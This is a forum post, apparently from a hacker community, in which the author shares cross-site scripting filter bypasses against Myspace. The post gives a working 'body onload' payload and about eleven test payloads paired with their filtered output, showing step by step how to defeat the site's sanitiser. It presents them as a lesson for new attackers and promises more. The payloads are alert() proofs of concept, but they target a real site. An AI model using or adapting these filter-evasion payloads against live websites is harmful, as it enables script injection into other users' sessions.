Ok, with everyone going after Myspace at the moment I was feeling alittle left out. Anyways i haven't really had anytime until tonight to check out the site and see if it was still vunerable to the non-alpha-non-digit XSS vector spoilts that have been published.
Sadly, whilst those specific spoilts were patched, it wasn't actually fixed, it seems they still don't grasp the issues involved and therefore are still vunerable.
The code.
<body onload<scrip=alert('xss');>
The result
<body onload..=alert('xss');>
This should be nothing new to any of us, as, with the previous spoilt discovered by kuza55 I simply used their filters against them (and there are lots of them).
For some fun i decided to post the codes i was testing with (in order) so new users can see how perhaps we might go after something like this (originally i was going to go after an all browser spoilt and as you can see that with the first couple of codes i was focusing on getting the script tags to fire. However I then realised i could easily use what i was testing with the re-create the firefox 0 day. I then spent the next couple of efforts chasing my tail before i realised i already had it (my syntax was messy).
<scr<!--ipt-->alert('xss');> ..-->alert('xss');>
<scrip<scr<!--ipt-->alert('xss');> <scrip..-->alert('xss');>
<script<scr<!--ipt-->alert('xss');> <scrip..-->alert('xss');>
<scrip<scriptt-->lert('xss');> <scrip..t-->lert('xss');>
<scrip<tscr<!--ipt-->lert('xss');> ..scr<!-- -->ipt-->lert('xss');>
<scrip<scrip<t>lert('xss');> <scrip..>lert('xss');>
<body onload<scrip<t>lert('xss');</script> <body onload..>lert('xss');..>
<body onload<scrip<t>=alert('xss');</script> <body onload..>=alert('xss');..>
<body onload<scrip<t=alert('xss');</script> <body onload..=alert('xss');..>
<body onload<scrip<t=alert('xss');> <body onload..=alert('xss');>
<body onload<script=alert('xss');> <body onload..=alert('xss');>
Hopefully myspace can patch this properly this time... If not i will be posting more spoilts for the site soon.
----------
'Just because you got the bacon, lettuce, and tomato don't mean I'm gonna give you my toast.'